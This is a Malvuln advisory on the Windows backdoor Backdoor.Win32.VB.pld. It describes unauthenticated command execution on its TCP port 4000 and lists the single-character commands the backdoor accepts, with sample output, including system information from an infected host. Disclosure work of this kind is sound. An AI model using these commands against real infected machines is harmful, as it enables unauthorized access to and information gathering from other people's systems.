Backdoor.Win32.VB.pld Code Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/6ff35087d789f7aca6c0e3396984894e_B.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.VB.pld  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The malware listens on TCP port 4000. Third-party attackers who can reach infected systems can connect to port 4000 and run commands made available by the backdoor to retrieve information etc. Commands accepted include backtick operator "`" and single character letters like C,E,O,Q,r etc.  
Type: PE32  
MD5: 6ff35087d789f7aca6c0e3396984894e  
Vuln ID: MVID-2021-0248  
Disclosure: 06/13/2021  
  
  
Exploit/PoC:  
C - (Opens chat terminal)  
  
---<< Hnadle-X Pro V1.0 Text Chat Window! >>---  
  
D + (Send a message)  
  
E - (Exit chat terminal)  
  
(Get system info with single backtick "`" character)  
  
`Number Of Processors : 1  
Processor Type : 586  
Processor Level : 6  
Processor Version : 24067  
Processor Speed : 2712 MHz  
Total Physical Memory : 2 GB  
Free Physical Momory : 1015.15 MB  
Total Momory PageFile : -1476931584 B  
Available Memory PageFile : 1.28 GB  
Total Virual Memory : 2 GB  
Available Virual Memory : 1.87 GB  
Country Name : United States  
Computer Lnaguge : English  
Host Name : DESKTOP-2B4IPHO  
Windows Directory : C:\WINDOWS\  
System Directory : C:\WINDOWS\system32\  
Operationg System : Windows_32  
  
  
O - Brings up Handle-X V1.0 Whiteboard drawing dialog.  
Q - Closes the whiteboard  
  
  
r - (Sound card initialize)  
rSound Card Initialized OKw  
  
  
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